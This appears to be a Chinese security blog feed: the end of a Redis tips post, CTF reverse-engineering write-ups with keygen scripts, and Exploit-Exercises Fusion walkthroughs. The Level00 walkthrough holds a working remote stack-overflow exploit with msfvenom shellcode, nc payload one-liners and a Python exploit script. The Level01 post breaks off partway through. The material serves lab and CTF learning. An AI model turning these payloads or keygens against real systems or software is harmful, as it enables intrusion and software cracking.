#define redisAssert(_e) ((_e)?(void)0 : (_redisAssert(#_e,__FILE__,__LINE__),_exit(1)))
 
void _redisAssert(char *estr, char *file, int line) {
    bugReportStart();
    redisLog(REDIS_WARNING,"=== ASSERTION FAILED ===");
    redisLog(REDIS_WARNING,"==> %s:%d '%s' is not true",file,line,estr);
#ifdef HAVE_BACKTRACE
    server.assert_failed = estr;
    server.assert_file = file;
    server.assert_line = line;
    redisLog(REDIS_WARNING,"(forcing SIGSEGV to print the bug report.)");
#endif
    *((char*)-1) = 'x';
}

另外redisLog打印日志时,可以根据第一个参数进行过滤操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define REDIS_DEBUG 0
#define REDIS_VERBOSE 1
#define REDIS_NOTICE 2
#define REDIS_WARNING 3
 
void redisLog(int level, const char *fmt, ...) {
    va_list ap;
    char msg[REDIS_MAX_LOGMSG_LEN];
    // server.verbosity 从配置文件读取设定
    if ((level&0xff) < server.verbosity) return;
 
    va_start(ap, fmt);
    vsnprintf(msg, sizeof(msg), fmt, ap);
    va_end(ap);
 
    redisLogRaw(level,msg);
}

4. 其他

1
2
// 消除函数未使用参数的警告信息
#define REDIS_NOTUSED(V) ((void) V)

待补充……

参考
1. do…while(0)的妙用


本文地址: 程序人生 >> Redis编程小技巧拾遗
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

SSCTF逆向部分Writeup

$
0
0

11月1号~11月2号两天和队友参加了SSCTF,我主要做了一下里面Reverse相关的题目。SSCTF里面逆向相关的题目全是Windows下的CrackMe程序,除了Web分类里面夹杂了一个病毒分析题目外。总的来说不是很难,不过中间有个CrackMe是易语言写的,直接没有接触过这种题,就觉得有点棘手了,不过看了别人的writeup之后觉得还是非常简单的。

0×01. CrackMe1
通过IDA进行静态分析,可以很快找到关键函数位于00401000,F5得到伪代码,大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
bool __cdecl fnCheckLogin(const char *szUsername, const char *szPassword)
{
  const char *v2; // esi@1
  unsigned int v3; // kr04_4@1
  int v4; // ebp@1
  bool result; // al@2
  int v6; // eax@3
  int *v7; // edi@4
  const char v8; // bl@5
  const char *v9; // edi@6
  int v10; // ecx@6
  bool v11; // zf@6
 
  v2 = szUsername;
  v3 = strlen(szUsername) + 1;
  v4 = v3 - 1;
  if ( v3 - 1 == strlen(szPassword) )           // Username和Password长度要一致
  {
    v6 = 0;
    if ( v4 > 0 )
    {
      v7 = &dword_408030;                       // xor key
      do
      {
        v8 = *(_BYTE *)v7 ^ szPassword[v6];
        ++v7;
        szPassword[v6++] = v8;
      }
      while ( v6 < v4 );
    }
    v9 = szPassword;
    v10 = v3 - 1;
    v11 = 1;
    do
    {
      if ( !v10 )
        break;
      v11 = *v2++ == *v9++;
      --v10;
    }
    while ( v11 );
    result = v11;
  }
  else
  {
    result = 0;
  }
  return result;
}

就是一个简单的XOR操作,在dword_408030处定义了一个数组,里面存储了XOR的KEY,提取出来就可以写keygen了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import hashlib
 
def crack(username):
    key = [1, 2, 3, 4, 1, 5, 1, 5, 1, 3, 6, 5, 
           4, 8, 5, 3, 1, 2, 3, 4, 5, 3, 5, 7, 
           2, 3, 2, 4, 8, 2, 5, 6, 4]
    pwd = []
    for i in xrange(0, len(username)):
        pwd.append(chr(ord(username[i]) ^ key[i]))
    return "".join(pwd)
 
def main():
    username = "Wins0n"
    pwd = crack(username)
    print pwd
    print hashlib.md5(pwd).hexdigest().upper()
 
if __name__ == "__main__":
    main()
    # 3FFCD172BE3572F485CA19C3227B1081

0×02. CrackMe2
此题参考“一朵紫桔桦”的Writeup。易语言写的,不太会搞~~这个CrackMe有一些反调试措施,所以如果在OD里直接退出了,就多试几次。
OD载入程序后,Alt+M打开Memory map窗口,在CrackMe的.data上面下一个断点。然后运行程序,程序会在krnln模块中断下,F8单步几次执行完第一个jmp指令就回到Crackme的空间了。
OD跟踪CrackMe在krnln中断下
回到Crackme的空间后进行字符串查找,就可以看到敏感的字符串了,对引用这几个字符串的位置都设置断点,然后进行跟踪分析。
OD查找CrackMe字符串
程序会判断注册码的长度是否为32:
注册码长度必须为32
输入一个32位的注册码进行测试,继续跟踪,在下面的位置可以找到明文注册码:
明文注册码比较
Wins0n对应的注册码为027d88ee0aa1836843632a275c9b6214

0×03. CrackMe3
对话框过程函数DialogFunc伪代码分析:
对话框过程函数分析
函数功能为记录鼠标左键以及鼠标右键点击序列(左键点击为L,右键点击为R),点击次数即为dwClickCount,点击序列即为pbData,则将pbData + dwClickCount – 0×30作为参数传入sub_401C40函数。另外使用PEiD的Krypto ANALyzer可以看到程序使用了MD5算法,sub_401C40函数的伪代码如下:
关键函数伪代码
函数sub_401B90计算传入参数的MD5值并存入Caption位置,这个就是Flag。对传入的序列以8位一个分组进行计算,共6个分组,产生“查水表”对应的HEX值。
CrackMe Flag
Flag: D27789EFCA409B6B6EE297D412334A65

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import hashlib
import itertools
 
def crackSingle(map, val):
    dst = 0
    for i in xrange(0, 8):
        dst = (dst * 2) & 0xFF
        if map[i] == 'R':
            dst = (dst + 1) & 0xFF
    return dst == val
 
def genMaps():
    map = ['L', 'R']
    return list(itertools.product(map, repeat=8))
 
def crack():
    maps = genMaps()
    vals = [0xB2, 0xE9, 0xCB, 0xAE, 0xB1, 0xED]
    serial = []
    for val in vals:
        for map in maps:
            if crackSingle(map, val):
                serial.extend(map)
                break
    return "".join(serial)
 
if __name__ == "__main__":
    serial = crack()
    print "Flag: %s" % (hashlib.md5(serial).hexdigest().upper())
    print "Clicks: %s" % ('L'*12 + serial)
    # flag   = D27789EFCA409B6B6EE297D412334A65
    # serial = RLRRLLRLRRRLRLLRRRLLRLRRRLRLRRRLRLRRLLLRRRRLRRLR

0×04. CrackMe4
PEiD查壳,提示FSG 2.0 -> bart/xt [Overlay],下载FSG脱壳器对程序进行脱壳,对脱壳后的程序进行测试,提示“数据已经损坏”。将原始程序的Overlay数据附加到脱壳后的文件的末尾,即从文件偏移0×955处至末尾的数据为Overlay数据,添加数据到脱壳后的文件后即可进行正常的密码验证操作。
第一层密码的验证过程如下:
1. 读取文件末尾的316字节数据,并判断最后的16字节组成的字符串是否为seclover.com;
2. 使用seclover.com作为key对这316字节的数据进行XOR操作;
3. 使用HOWMP拼接密码计算MD5值,然后对MD5再次进行MD5运算;
4. 判断MD5值与数据偏移264处的MD5值是否一致;
5. 解密后的MD5为09B2F924C20C5CA427EED2C5B98BEFBF;
6. 提示密码为6位数字,所以进行枚举即可,得到密码为564987;
CrackMe3密码校验算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import hashlib
 
def crack(val):
    for i in xrange(0, 1000000):
        msg = "HOWMP%06d" % i
        msg = hashlib.md5(msg).hexdigest().upper()
        msg = hashlib.md5(msg).hexdigest().upper()
        if msg == val:
            return "%06d" % i
    return None
 
def main():
    print crack("09B2F924C20C5CA427EED2C5B98BEFBF")
 
if __name__ == "__main__":
    main()
    # 564987

释放的文件仍然使用FSG 2.0 -> bart/xt [Overlay]加密,所以可以用同样的方法进行解密。第二层密码的校验方法和第一层是一样的,MD5校验正确后释放logo.gif文件。MD5值为:12A73DEB50334C0B446937B3E31A322D。虽然密码只有六位,但是可能的情况太多了,暴力破解断时间不可行。观察末尾解密后的316字节的数据,发现会创建一个gif文件,同时可以知道文件加密后的数据为316字节数据之前的0x128C字节的数据,而解密的方法即为使用密码对其进行XOR操作。根据GIF文件格式,其头部标志为GIF89a,那么我们可以计算出key为w!q&cs。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import hashlib
 
def getkey():
    src = [0x30, 0x68, 0x37, 0x1E, 0x5A, 0x12]
    dst = [0x47, 0x49, 0x46, 0x38, 0x39, 0x61] # GIF98a
    key = []
    n = len(src)
    for i in xrange(0, n):
        key.append(chr(src[i]^dst[i]))
    return "".join(key)
 
def main():
    key = getkey()
    print key
 
if __name__ == "__main__":
    main()
    # key = w!q&cs

输入key即可得到解密的logo.gif文件。
SSCTF Crackme4

0×05. CrackMe5
直接运行程序时工作正常,而在OD中调试时遇到int 3指令(00401640函数),对其进行静态分析时发现在OnInitDialog中注册了一个全局异常处理函数。TopLevelExceptionFilter中穿插了大量的花指令,尝试对TopLevelExceptionFilter(004012F0)的代码进行手工恢复。函数004012F0的主要逻辑为判断触发异常时Eip处的字节是否为0xCC,如果是则跳转到下一个字节,根据当前字节计算出一个偏移值作为增量添加给Eip,最后Eip增加1,继续执行代码。将提取出来的反汇编代码整理成一个cpp文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned int calc(unsigned char arg)
{
    int res = 0;
    __asm
    {
        push    ebx             // ebx = 0
        mov     ebx, 1          // 0xCC
        mov     cl, arg         // 参数值
        mov     al, cl
        shl     al, 6
        shr     cl, 2
        add     al, cl
        xor     al, 0Dh
        mov     cl, al
        shr     cl, 5
        shl     al, 3
        add     cl, al
        add     cl, 11h
        mov     al, cl
        shl     al, 5
        shr     cl, 3
        add     al, cl
        xor     al, 51h
        mov     cl, al
        shl     cl, 7
        shr     al, 1
        add     cl, al
        sub     cl, 6Fh
        and     ecx, 0FFh
        and     ecx, 80000007h
        jns     flag_C
        dec     ecx
        or      ecx, 0FFFFFFF8h
        inc     ecx
flag_C:
        add     ebx, ecx        // ebx = ebx + ecx
        inc     ebx             // ebx = ebx + 1
        mov     res, ebx        // save result
        pop     ebx
    }
    return res;
}

从进程空间中提取[00401640, 00402591]区间内的数据并保存,对文件中的花指令进行清理,将原始程序文件偏移0×1640处开始的3922字节替换为处理后的数据。之后就可以使用IDA对Patch后的文件进行分析,并将00401640设置为函数,就可以使用F5得到伪代码。最后编写keygen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>
#include <string.h>
 
typedef /*unsigned*/ char _BYTE;
typedef /*unsigned*/ int _DWORD;
 
unsigned int hash_name(char* msg)
{
    int v1; // ebx@1
    void *v2; // edi@1
    int result; // eax@3
    int v4; // eax@4
    int v5; // ecx@4
    int v6; // edx@5
    int v7; // ebx@5
    int v8; // eax@6
    int v9; // edx@7
    int v10; // ebx@7
    int v11; // eax@8
    int v12; // edx@9
    int v13; // ebx@9
    int v14; // edx@10
    int v15; // ecx@10
    unsigned int v16; // ebx@10
    int v17; // esi@10
    int v18; // eax@10
    int v19; // eax@11
    int v20; // [sp+Ch] [bp-8h]@1
    int v21; // [sp+10h] [bp-4h]@1
 
    v1 = 121314;
    v20 = (_DWORD)msg;
    v21 = strlen(msg);
 
    v5 = -1 - v20;
    v4 = v21 + v20 + 1;
    do
    {
      v6 = *(_BYTE *)(v4-- - 2);
      v7 = 123 * (v6 + v1);
      *(_BYTE *)v4 = v7;
      v1 = v7 ^ 0x14AC453A;
      *(_BYTE *)v4 += v1;
    }
    while ( v5 + v4 > 0 );
    v8 = v21 + v20 + 1;
    do
    {
      v9 = *(_BYTE *)(v8-- - 2);
      v10 = 123 * (v9 + v1);
      *(_BYTE *)v8 = v10;
      v1 = v10 & 0xA454A546;
      *(_BYTE *)v8 += v1;
    }
    while ( v8 + v5 > 0 );
    v11 = v21 + v20 + 1;
    do
    {
      v12 = *(_BYTE *)(v11-- - 2);
      v13 = 123 * (v12 + v1);
      *(_BYTE *)v11 = v13;
      v1 = v13 | 0x15472137;
      *(_BYTE *)v11 += v1;
    }
    while ( v11 + v5 > 0 );
    v16 = v1 % 0x15011Fu;
 
    return v16;
}
 
// reverse but has a bug...000000
unsigned int hash_pwd(char* msg)
{
    int v14, v15, v16, v17, v18, v19;
    v18 = (_DWORD)msg;
    v15 = 0;
    v14 = strlen(msg) + v18 + 1;
    v17 = -1 - v18;
    do
    {
      v19 = *(_BYTE *)(v14-- - 2);
      v15 = v19 + 10 * v15 - 48;
      *(_BYTE *)v14 = v15;
    }
    while ( v14 + v17 > 0 );
    return v15;
}
 
int main(int argc, char** argv)
{
    char buffer[256] = {0};
    printf("Username: ");
    while (EOF != scanf("%s", buffer))
    {
        int user = hash_name(buffer);
        sprintf(buffer, "%d", user);
        printf("hash(username)=%s\n", buffer);
        //printf("%d\n", hash_pwd(buffer));
        printf("%s\n", strrev(buffer));
    }
    return 0;
}

SSCTF CrackMe5

0×06. U盘病毒
使用7z打开img文件,得到两个文件。
SSCTF U盘病毒分析
exe为一个游戏,autorun.inf提示信息:

你真厉害都到这了,看看这个游戏你肯定会喜欢的,但是据说这个游戏是被加了后门的,找到后门操作的文件的内容,取文件内容的16位md5值作为key!祝你好运.......

使用7z打开exe游戏文件,得到三个文件。
SSCTF U盘病毒分析 游戏解压
其中1.exe为后门文件,2.exe为真正的游戏文件。分析1.exe,发现它会在当前目录创建一个test.txt文件,创建的文件内容为:WdubQ4IGEzAG54NfATJTNhI4TLIvPvENyTLLWb3YCNBeK5wad5XCgrSQNOih1F。对这个内容进行16位MD5值:A4620BA0298017B2。

0×07. 排名
SSCTF 2014 Ranklist


本文地址: 程序人生 >> SSCTF逆向部分Writeup
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

XCTF HCTF Reverse Writeup

$
0
0

HCTF已经过去很久了,整理一下其中两个简单逆向题的Writeup。

0×01. NormalFile
题目给了一张图片,把图片后缀改为zip,然后打开,有两个关键的地方:一个是解压根目录下有一个隐藏的desktop.ini文件,文件内容为“加油。。flag就在你眼前!”,基本没用;另一个是_MACOSX下隐藏了另一张图片。同样将图片的后缀改为zip后打开,基本断定这是一个APK文件,使用十六进制编辑器打开PNG图片文件,搜索IEND标志找到PNG文件末尾,删除PK标志前面所有的数据,就得到APK文件了。
XCTF HCTF APK NormalFile

解压APK文件,使用dex2jar可以将classes.dex转为jar文件,就可以使用jd-gui来看Java代码了,这个代码没有混淆。使用apktool对apk进行反编译,在res\values\strings.xml中发现一个奇怪的字符串。

<string name="half">401!n++p</string>

使用jd-gui发现Main函数里面的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
do
{
    char[] arrayOfChar1;
    do
    {
      while (true)
        Toast.makeText(getApplicationContext(), "Oh... Why don't you try that? :(", 0).show();
      arrayOfChar1 = paramString.toCharArray();
    }
    while ((arrayOfChar1[15] != arrayOfChar1[13]) || (arrayOfChar1[4] != arrayOfChar1[9]) || 
        (arrayOfChar1[5] != arrayOfChar1[8]) || (arrayOfChar1[7] != arrayOfChar1[10]));
    String str2 = "" + paramString.charAt(0) + paramString.charAt(4) + paramString.charAt(8) 
        + paramString.charAt(12) + paramString.charAt(1) + "++" + paramString.charAt(13);
    int[] arrayOfInt = { 112, 83, 93, 112, 28, 0, 87, 91 };
    arrayOfChar2 = new char[8];
    for (int i = 0; i < 8; i++)
      arrayOfChar2[i] = (char)(str2.toCharArray()[i] ^ arrayOfInt[i]);
}
while (!("" + paramString.charAt(2) + paramString.charAt(6) + paramString.charAt(10) + 
    paramString.charAt(14) + paramString.charAt(3) + '+' 
    + paramString.charAt(11) + '+').equals(new String(arrayOfChar2)));
Toast.makeText(getApplicationContext(), 
    ":) I'm happy to see your favorite toast is just the same as me:hctf{"
        + paramString + '}', 0).show();

这段代码的对输入的字符串进行了校验,大概校验关系就是:
XCTF HCTF APK Writeup

其中,ord(‘+’) xor 91 = ord(‘p’),第一行后面的三个字符为++p,刚好为half后面的三个字符,因此尝试将half字符串应用到第一行的下标,求出整个字符串4nDr01cl10l|!pQp,拼接为Flag即hctf{4nDr01cl10l|!pQp}。

0×02. wow
直接运行程序coredump,在gdb下面可以调试,果断上gdb,当然结合IDA静态分析效果最好。
使用IDA分析main函数,main函数的逻辑很简单,依次调用Welcome、ShowMsg,然后通过write打印提示信息,最后通过read读取用户输入数据,通过Check函数来检查输入的Flag是否正确。关键逻辑都在Check函数里边。里面有个嵌套两层的for循环,外层for循环负责对wow中每一个句子进行处理,删除其中不是字母的字符,然后存到一个缓冲区中,关键代码如下:
XCTF HCTF Reverse wow
内层循环中,会遍历输入的flag字符串,然后将flag中的每一个字符与处理后的一句话中的前22个字符分别相乘并求和,关键代码如下:
XCTF HCTF Reverse wow
然后把每次内层循环求得的值如verify数组中的值比较,如果不相等则提示失败,相等则继续循环处理,关键代码如下:
XCTF HCTF Reverse wow
这里要求的就是长度为22的flag字符串了。刚好有22句话,然后两个循环的跨度都是22,所以只会处理前22个字母,另外verify也是22个值,刚好构成一个矩阵的乘法,Python的numpy库提供了对矩阵计算的支持(逆矩阵、矩阵的转置等):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from numpy import *
 
def getMatrix():
    hints = [
        "The light! To keep in mind the holy light!\n",
        "Time is money, my friend!\n",
        "Welcome to the auger RuiMa!\n",
        "Are you here to play for the horde?\n",
        "To arms, ye roustabouts! We've got company!\n",
        "Ahh... welcome to my parlor.\n",
        "Slay them in the master's name!\n",
        "Yes, run! It makes the blood pump faster!\n",
        "Shhh... it will all be over soon.\n",
        "Kneel before me, worm!\n",
        "Run while you still can!\n",
        "Rise, my soldiers! Rise and fight once more!\n",
        "Life is meaninglesh; That we are truly tested.\n",
        "Bow to the might of the Highlord!\n",
        "The first kill goes to me! Anyone care to wager?\n",
        "It is... as it should be.\n",
        "The dark void awaits you!\n",
        "In order to more glory of Michael essien ray!\n",
        "Remember the sun the well of shame!\n",
        "May the wind guide your road!\n",
        "Strength and Honour!\n",
        "Blood and thunder!\n"
    ]
    res = []
    for s in hints:
        row = []
        for ch in s:
            if ch in string.letters:
                row.append(ord(ch))
        while len(row) < 22:
            row.append(0)
        if len(row) != 22:
            row = row[0:22]
        res.append(row)
    return res
 
def printMatrix(m):
    for s in m:
        t = []
        for ch in s:
            t.append(chr(ch))
        print "".join(t)
 
def crack():
    mykey = [
        0x373CA, 0x31BDF, 0x374F7, 0x39406, 0x399C4, 0x34ADC, 0x38C08, 
        0x38B88, 0x38A60, 0x2B568, 0x32471, 0x37DEA, 0x36F97, 0x378E4, 
        0x38706, 0x29010, 0x34C23, 0x38EF8, 0x38E29, 0x3925E, 0x2B5FC, 
        0x2584E
    ]
    mymatrix = getMatrix()
    #print mymatrix
    #print mykey
    flag =  mat(mymatrix).I * mat(mykey).T
    print flag
 
def getFlag():
    # flag
    s = [104,  99, 116, 102, 123,  76,  74,  95, 121,  54,  99, 100,  
         99,  95, 113, 119, 101, 101, 114, 116,  33, 125]
    res = []
    for ch in s:
        res.append(chr(ch))
    print "".join(res)
 
if __name__ == "__main__":
    # crack()
    getFlag() # hctf{LJ_y6cdc_qweert!}

本文地址: 程序人生 >> XCTF HCTF Reverse Writeup
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

Exploit-Exercises Fusion Level00

$
0
0

开始玩Exploit-Exercises的Fusion,这里面引入了一些保护机制的绕过,可以系统的做一下。Fusion Level00算是warmup,是一个简单的栈溢出场景,realpath函数的原型为char *realpath(const char *path, char *resolved_path),其将path中保存的路径字符串展开之后复制到resolved_path之中,这里由于resolved数组只有128个字节,而path有1000多个字节,因此这里会发生栈溢出。

Fusion Level00的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "../common/common.c"    
 
int fix_path(char *path)
{
  char resolved[128];
 
  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}
 
char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;
 
  printf("[debug] buffer is at 0x%08x :-)\n", buffer);
 
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
 
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
 
  fix_path(path);
 
  printf("trying to access %s\n", path);
 
  return path;
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  parse_http_request(); 
}

0×01. 定位返回地址覆盖偏移值
首先使用metasploit-framework的pattern_create.rb创建一个字符串用于定位返回地址的偏移值:

winson@kali:/usr/share/metasploit-framework/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

在Fusion机器上,必须先开启core dump设置,设置代码如下:

root@fusion:/opt/fusion/bin# ulimit -c unlimited
root@fusion:/opt/fusion/bin# echo 1 > /proc/sys/fs/suid_dumpable
root@fusion:/opt/fusion/bin# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern

然后,通过nc远程发送数据进行测试:

root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag HTTP/1.1' + '\x90'*50" | nc 192.168.218.197 20000
[debug] buffer is at 0xbffff8f8 :-)

这时候,在Fusion的机器的根目录/下发现core文件,使用gdb进行调试:

root@fusion:/opt/fusion/bin# gdb level00 /core.level00.1602 
 
Reading symbols from /opt/fusion/bin/level00...done.
[New LWP 1602]
 
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()
(gdb) quit

这里EIP被覆盖为0×65413665,找到这个数据在字符串中的偏移值,发现偏移值为139:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x65413665
[*] Exact match at offset 139

0×02. 执行Shellcode
这里level00的UID为20000,因此生成一段创建文件的Shellcode进行测试,使用msfvenom创建一段Shellcode:(创建文件/tmp/foobar)

root@kali:/usr/share/metasploit-framework/tools# msfvenom -p linux/x86/exec -f py CMD="touch /tmp/foobar"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12"
buf += "\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70"
buf += "\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd"
buf += "\x80"

因为buffer的地址固定为0xbffff8f8,这里预留300字节的空间,用于存放填充字节、返回地址、NOP指令,有hex(0xbffff8f8+300) = 0xbffffa24,因此构造的攻击数据为:

root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /'+'A'*139+'\x24\xfa\xff\xbf'+' HTTP/1.1'+'\x90'*200+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80'" | nc 192.168.218.197 20000
[debug] buffer is at 0xbffff8f8 :-)

可以看到成功执行了Shellcode:

root@fusion:/tmp# ls -al
total 0
drwxrwxrwt 4 root  root  100 2014-11-24 22:17 .
drwxr-xr-x 1 root  root  260 2014-11-24 19:00 ..
-rw-r--r-- 1 20000 20000   0 2014-11-24 20:00 foobar
drwxrwxrwt 2 root  root   40 2014-11-24 18:57 .ICE-unix
drwxrwxrwt 2 root  root   40 2014-11-24 18:57 .X11-unix

0×03. 编写Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import socket
 
def pwn(ip, port):
    junk = 'A'*139
    ret = "\x24\xfa\xff\xbf"
    nops = '\x90'*200
    shellcode  = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
    shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00"
    shellcode += "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f"
    shellcode += "\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80"
    request = 'GET /' + junk + ret + ' HTTP/1.1' + nops + shellcode
 
    fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    fd.connect((ip, port))
    fd.sendall(request)
    fd.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        pwn(sys.argv[1], int(sys.argv[2]))

exploit-exercises fusion level00

0×04. Reference
https://www.mattandreko.com/2012/04/09/exploit-exercises-fusion-00/


本文地址: 程序人生 >> Exploit-Exercises Fusion Level00
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

Exploit-Exercises Fusion Level01

$
0
0

Fusion Level01和Level00是一样的,只是引入了ASLR机制,因为栈是可执行的,这里借助jmp esp来跳转到栈上执行代码。这是一个简单的栈溢出场景,realpath函数的原型为char *realpath(const char *path, char *resolved_path),其将path中保存的路径字符串展开之后复制到resolved_path之中,这里由于resolved数组只有128个字节,而path有1000多个字节,因此这里会发生栈溢出。

Fusion Level01的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "../common/common.c"    
 
int fix_path(char *path)
{
  char resolved[128];
 
  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}
 
char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;
 
  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
 
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
 
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
 
  fix_path(path);
 
  printf("trying to access %s\n", path);
 
  return path;
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  parse_http_request(); 
}

0×01. 定位返回地址覆盖偏移值
首先使用metasploit-framework的pattern_create.rb创建一个字符串用于定位返回地址的偏移值:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

在Fusion机器上,必须先开启core dump设置,设置代码如下:

root@fusion:/opt/fusion/bin# ulimit -c unlimited
root@fusion:/opt/fusion/bin# echo 1 > /proc/sys/fs/suid_dumpable
root@fusion:/opt/fusion/bin# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern

然后,通过nc远程发送数据进行测试:

